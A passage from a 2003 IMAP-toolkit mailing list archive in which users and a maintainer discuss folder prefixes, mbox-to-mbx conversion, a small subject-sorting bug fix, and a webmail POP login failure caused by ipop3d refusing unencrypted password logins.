Mozilla server settings for the IMAP server? > > > Many client programs have a "root prefix" or "folder collections" > setting. For example, in Outlook you would put in "mailboxes/" as the > "root prefix", in Pine you could put in "mailboxes/[]" as your folder > collection, etc. > > I don't know how things work in Mozilla. > > >>I want to avoid hardcoding the default subdir >>string in env_unix.c since each user may have a different subdir name >>(personal choice) and want to avoid server-side config files (admini >>headache.) > > > Now you know why UW imapd doesn't do it... :-) > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 2 23:42:57 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Oct 2003 23:42:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h936gvMZ030796 for ; Thu, 2 Oct 2003 23:42:57 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h936gsY8030226 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 2 Oct 2003 23:42:55 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h936gnhA017312; Thu, 2 Oct 2003 23:42:50 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h936eeJH021116 for ; Thu, 2 Oct 2003 23:40:40 -0700 Received: from sheridan.sibble.net (officegate.sibble.net [64.180.126.175]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h936edhe000716 for ; Thu, 2 Oct 2003 23:40:39 -0700 Received: from garibaldi (garibaldi.sibble.net [192.168.73.21]) by sheridan.sibble.net (8.9.3p2/8.9.3) with ESMTP id AAA11969; Fri, 3 Oct 2003 00:13:17 -0700 Message-Id: <200310030713.AAA11969@sheridan.sibble.net> Date: Thu, 02 Oct 2003 23:40:33 -0700 Reply-To: help@pdscc.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Harondel J. Sibble" To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: References: <200310022100.OAA08676@sheridan.sibble.net> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body X-LINE1: ABCDEF0123456789 X-Uwash-Spam: Gauge=II, Probability=2%, Report='DONT_DELETE, EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 2 Oct 2003 at 14:22, Mark Crispin wrote: > Your system should have quite enough memory to handle the mail file that > you describe. Are you certain that you are using mbx format (files that > have "*mbx*" as the first line)? in the user's home dir # head INBOX *mbx* 3e3df7c800003343 # head "Sent Items" >From MAILER-DAEMON Thu Oct 2 21:23:00 2003 Date: 02 Oct 2003 21:23:00 -0700 From: Mail System Internal Data Subject: DON'T DELETE THIS MESSAGE -- FOLDER INTERNAL DATA Message-ID: <1065154980@server1.domain.com> X-IMAP: 1065128750 0000018201 Status: RO This text is part of the internal format of your mail folder, and is not a real message. It is created automatically by the mail system software. Hmm, is there a way to convert the sent items folder to mbx as it looks like it's in mbox format.... > Have you tried upgrading to the latest version of UW imapd? > ftp://ftp.cac.washington.edu/mail/imap.tar.Z No, as that is not something that I can easily do until late next week due to time constraints. Idealy I'd like to find a workaround to this problem until that time. -- Harondel J. Sibble Sibble Computer Consulting Creating solutions for the small business and home computer user. help@pdscc.com (use pgp keyid 0x3AD5C11D) http://www.pdscc.com (604) 739-3709 (voice/fax) (604) 686-2253 (pager) From pinedev@shivax2.cac.washington.edu Fri Oct 3 09:26:30 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Oct 2003 09:26:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93GQTMZ015000 for ; Fri, 3 Oct 2003 09:26:29 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93GQP0K008630 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 3 Oct 2003 09:26:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h93GQKVi057548; Fri, 3 Oct 2003 09:26:20 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93GOpJH060246 for ; Fri, 3 Oct 2003 09:24:51 -0700 Received: from oma.irssi.org (ip213-185-36-189.laajakaista.mtv3.fi [213.185.36.189]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93GOohe029758 for ; Fri, 3 Oct 2003 09:24:51 -0700 Received: from localhost.kpnqwest.fi (localhost [127.0.0.1]) by oma.irssi.org (Postfix) with ESMTP id 570D95EC117D for ; Fri, 3 Oct 2003 19:24:43 +0300 (EEST) Message-Id: <1065198283.32102.123.camel@hurina> Date: Fri, 03 Oct 2003 19:24:43 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Timo Sirainen To: c-client@u.washington.edu Subject: Subject sorting bug Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CT, __CTE, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Uppercased "FW" wasn't stripped when comparing subjects: --- mail.c.old 2003-10-03 19:10:38.000000000 +0300 +++ mail.c 2003-10-03 19:10:55.000000000 +0300 @@ -4117,7 +4117,7 @@ else t = NIL; /* found subj-middle */ break; case 'f': case 'F': /* possible "fw" or "fwd" */ - if (((s[1] == 'w') || (s[1] == 'w')) && + if (((s[1] == 'W') || (s[1] == 'w')) && (((s[2] == 'd') || (s[2] == 'D')) ? (t = mail_strip_subject_wsp (s + 3)) : (t = mail_strip_subject_wsp (s + 2))) && -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 3 10:05:41 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Oct 2003 10:05:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H5fMZ016735 for ; Fri, 3 Oct 2003 10:05:41 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H5d0K010285 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 3 Oct 2003 10:05:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h93H5ZhA086292; Fri, 3 Oct 2003 10:05:35 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H4eJH072352 for ; Fri, 3 Oct 2003 10:04:40 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H4djh018021 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 3 Oct 2003 10:04:39 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H4UaZ020211; Fri, 3 Oct 2003 10:04:30 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H4UNi027521; Fri, 3 Oct 2003 10:04:30 -0700 Message-Id: Date: Fri, 3 Oct 2003 10:04:30 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Timo Sirainen Cc: c-client@u.washington.edu Subject: Re: Subject sorting bug In-Reply-To: <1065198283.32102.123.camel@hurina> References: <1065198283.32102.123.camel@hurina> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks. Don't know how I missed that one. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 3 10:08:36 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Oct 2003 10:08:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H8aMZ016843 for ; Fri, 3 Oct 2003 10:08:36 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H8YY8014849 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 3 Oct 2003 10:08:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h93H8UsO023794; Fri, 3 Oct 2003 10:08:31 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H83JH050306 for ; Fri, 3 Oct 2003 10:08:03 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H82jh019214 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 3 Oct 2003 10:08:02 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H7xC2022132; Fri, 3 Oct 2003 10:07:59 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93H7xe0027636; Fri, 3 Oct 2003 10:07:59 -0700 Message-Id: Date: Fri, 3 Oct 2003 10:07:59 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Harondel J. Sibble" Cc: c-client@u.washington.edu Subject: Re: problems with large imap folder/file In-Reply-To: <200310030713.AAA11969@sheridan.sibble.net> References: <200310022100.OAA08676@sheridan.sibble.net> <200310030713.AAA11969@sheridan.sibble.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 2 Oct 2003, Harondel J. Sibble wrote: > Hmm, is there a way to convert the sent items folder to mbx as it looks like > it's in mbox format.... Yes, the mailutil program (included as part of the IMAP toolkit) has a mechanisms to copy a mailbox with a different format in the destination copy. > > Have you tried upgrading to the latest version of UW imapd? > > ftp://ftp.cac.washington.edu/mail/imap.tar.Z > No, as that is not something that I can easily do until late next week due to > time constraints. Idealy I'd like to find a workaround to this problem until > that time. The reason why I suggest upgrading is that the problem may be a bug that has already been fixed. I find it very difficult to believe that imapd was really out of memory. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 3 13:41:26 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Oct 2003 13:41:25 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KfPMZ026873 for ; Fri, 3 Oct 2003 13:41:25 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KfNY8023034 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 3 Oct 2003 13:41:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h93KfIhA083856; Fri, 3 Oct 2003 13:41:18 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KeKJH069516 for ; Fri, 3 Oct 2003 13:40:20 -0700 Received: from acrux.ligo.caltech.edu (acrux.ligo.caltech.edu [131.215.115.14]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KeJjh027585 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Fri, 3 Oct 2003 13:40:19 -0700 Received: from becrux.ligo.caltech.edu (becrux [131.215.115.19]) by acrux.ligo.caltech.edu (8.12.10/8.12.10) with ESMTP id h93KeGbX009585 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT) for ; Fri, 3 Oct 2003 13:40:17 -0700 (PDT) Received: from ganymede (ganymede [131.215.115.216]) by becrux.ligo.caltech.edu (8.12.10/8.12.6) with SMTP id h93KbQMH004898 for ; Fri, 3 Oct 2003 13:37:26 -0700 (PDT) Message-Id: <200310032037.h93KbQMH004898@becrux.ligo.caltech.edu> Date: Fri, 3 Oct 2003 13:40:17 -0700 (PDT) Reply-To: Lisa Bogue Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lisa Bogue To: c-client@u.washington.edu Subject: webmail pop login problem MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: cbEvpZrpV0eNVoGQKUW7Vg== X-RAVMilter-Version: 8.4.1(snapshot 20020919) (acrux) X-RAVMilter-Version: 8.4.2(snapshot 20021217) (becrux) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='SIGNATURE_SHORT_DENSE, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear List- I don't know if the problem I'm having is with the uw-imap software, but posting here seemed a good place to start. I have a mail server built on solaris 8 that I just upgraded/patched the code on. The server has opensourse sendmail (8.12.10), uw-imap, a webmail application purchased from sendmail called sendmail mobile messaging server (running as a cgi on apache 1.3.26) and a sun crypto accelerator card. The accelerator card uses sun's implementation of openssl 0.9.6j [engine] 10 Apr 2003. Sendmail and imap are both compiled against the sun crypto accelerator libraries. Apache mod_ssl is supplied by sun. The cert is self-signed. When I compiled imap-2002e, both imap and pop work fine for normal mail client connections. However, the webmail application fails to connect to the pop server with the incredibly vague error message: An error was returned by the mail server: Error connecting to pop server Please try again. The webmail log file shows a logout (but no login). In my maillog, all I get is this: -------------------snip--------------------- Oct 2 18:15:14 becrux ipop3d[412]: [ID 806292 mail.debug] pop3 service init fro m Oct 2 18:15:14 becrux ipop3d[412]: [ID 533678 mail.info] Logout user=??? host=b ecrux.ligo.caltech.edu [] -------------------snip--------------------- This behavior was the same after compiling both imap-2002e and the development snap from 9/25 and stayed the same irrespective of whether the webmail application was using secure or insecure pop logins. When I copy back my imapd/popd from my pre-existing build, everything works fine. The original build was imap-2002, Release notes date 28 October 2002 (IMAP4rev1 2002.332). The customized parameters from my Makefile are below. Aside from the addition of SSLKEYS, the makefiles for all versions are the same. There is a new version of the webmail client out and it's possible that the problem might clear up once I update that. Still, I was hoping that someone here might have an idea of what the problem might be. Thanks in advance for any thoughts- Lisa ------------------------- Lisa Bogue System Administration Group Ligo Project bogue_l@ligo.caltech.edu phone: 626-395-8739 ------------Makefile------------------ # Command line build parameters EXTRAAUTHENTICATORS= EXTRADRIVERS=mbox #PASSWDTYPE=std PASSWDTYPE=pmb SSLTYPE=unix # Extended flags needed for SSL. You may need to modify. SSLDIR=/opt/SUNWconn/crypto/ SSLCERTS=/usr/local/ssl/certs SSLKEYS=$(SSLCERTS) SSLINCLUDE=$(SSLDIR)/include SSLLIB=$(SSLDIR)/lib SSLCRYPTO=-lcrypto -lcryptography -lnvpair # Older versions of MIT Kerberos also have a libcrypto. If so, you may need # to use this instead #SSLCRYPTO=$(SSLLIB)/libcrypto.a # RSA Security Inc. released the RSA public key encryption algorithm into # the public domain on September 6, 2000. There is no longer any need to # use RSAREF. SSLRSA= # -lRSAglue -lrsaref SSLCFLAGS= -I$(SSLINCLUDE) -I$(SSLINCLUDE)/openssl\ -DSSL_CERT_DIRECTORY=\"$(SSLCERTS)\" -DSSL_KEY_DIRECTORY=\"$(SSLKEYS)\" SSLLDFLAGS= -L$(SSLLIB) -R/opt/SUNWconn/crypto/lib -lssl $(SSLCRYPTO) $(SSLRSA) ------------------------------------------ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Oct 3 13:55:36 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Oct 2003 13:55:36 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KtaMZ027432 for ; Fri, 3 Oct 2003 13:55:36 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KtYY8023494 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 3 Oct 2003 13:55:34 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h93KtUVi013690; Fri, 3 Oct 2003 13:55:30 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KsEJH067934 for ; Fri, 3 Oct 2003 13:54:14 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93KsDDl009220 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 3 Oct 2003 13:54:14 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93Ks6Mk004785; Fri, 3 Oct 2003 13:54:07 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93Ks6SS012447 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 3 Oct 2003 13:54:06 -0700 Message-Id: Date: Fri, 3 Oct 2003 13:54:06 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lisa Bogue Cc: c-client@u.washington.edu Subject: Re: webmail pop login problem In-Reply-To: <200310032037.h93KbQMH004898@becrux.ligo.caltech.edu> References: <200310032037.h93KbQMH004898@becrux.ligo.caltech.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The "Logout user=???" message indicates that the client gave a POP3 QUIT command without ever logging in. If you are not seeing any "Login failed" or "Login disabled" error messages, that means that the client never attempted to log in. I suspect that your pre-existing ipop3d build was one which permitted password logins in an unencrypted session (meaning every bad guy in the world can sniff passwords). By default, ipop3d no longer permits use of password-type authentication unless the session is encrypt. Try running the two copies of ipop3d under the shell. To each one, do a CAPA command. Let me know what the results are. That will show if my guess is correct. If it is, then the reason why your mail clients are working is that they are using encryption (either SSL or TLS), but your webmail is not. You then have two choices: 1) fix your webmail to use encryption. 2) break ipop3d to allow insecure logins, and accept that every so often your system is going to be hacked. Not surprisingly, I recommend choice (1). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Oct 3 15:22:00 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Oct 2003 15:22:00 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MM0MZ032197 for ; Fri, 3 Oct 2003 15:22:00 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MLs0K022484 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 3 Oct 2003 15:21:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h93MLosO004710; Fri, 3 Oct 2003 15:21:50 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MKxJH067992 for ; Fri, 3 Oct 2003 15:20:59 -0700 Received: from acrux.ligo.caltech.edu (acrux.ligo.caltech.edu [131.215.115.14]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MKwhe016579 for ; Fri, 3 Oct 2003 15:20:58 -0700 Received: from becrux.ligo.caltech.edu (becrux [131.215.115.19]) by acrux.ligo.caltech.edu (8.12.10/8.12.10) with ESMTP id h93MKsbX011667 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT); Fri, 3 Oct 2003 15:20:54 -0700 (PDT) Received: from ganymede (ganymede [131.215.115.216]) by becrux.ligo.caltech.edu (8.12.10/8.12.6) with SMTP id h93MI4MH005910; Fri, 3 Oct 2003 15:18:04 -0700 (PDT) Message-Id: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> Date: Fri, 3 Oct 2003 15:20:54 -0700 (PDT) Reply-To: Lisa Bogue Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lisa Bogue To: MRC@CAC.Washington.EDU Cc: c-client@u.washington.edu Subject: Re: webmail pop login problem MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: yOTKL3y2ifW8GO+nPYPrsw== X-RAVMilter-Version: 8.4.1(snapshot 20020919) (acrux) X-RAVMilter-Version: 8.4.2(snapshot 20021217) (becrux) X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__CT, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks Mark- It looks like you are correct. It's a little troublesome in that the webmail advertises it's ability to use secure connections and I had configured the conf file to use secure connections. Perhaps the new version will get it right. imap-2002e # ./ipop3d +OK POP3 v2003.83 server ready CAPA +OK Capability list follows: TOP LOGIN-DELAY 180 UIDL STLS SASL . imap-2002 +OK POP3 v2001.80 server ready CAPA +OK Capability list follows: TOP LOGIN-DELAY 180 UIDL STLS USER SASL LOGIN . From pinedev@shivax2.cac.washington.edu Fri Oct 3 15:42:28 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 3 Oct 2003 15:42:28 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MgSMZ000821 for ; Fri, 3 Oct 2003 15:42:28 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MgQY8027761 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 3 Oct 2003 15:42:26 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h93MgMpM015600; Fri, 3 Oct 2003 15:42:22 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MfcJH021156 for ; Fri, 3 Oct 2003 15:41:38 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93Mfbr8025296 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 3 Oct 2003 15:41:37 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MfUmw007382; Fri, 3 Oct 2003 15:41:30 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h93MfUx0013221 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 3 Oct 2003 15:41:30 -0700 Message-Id: Date: Fri, 3 Oct 2003 15:41:30 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lisa Bogue Cc: c-client@u.washington.edu Subject: Re: webmail pop login problem In-Reply-To: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> References: <200310032218.h93MI4MH005910@becrux.ligo.caltech.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 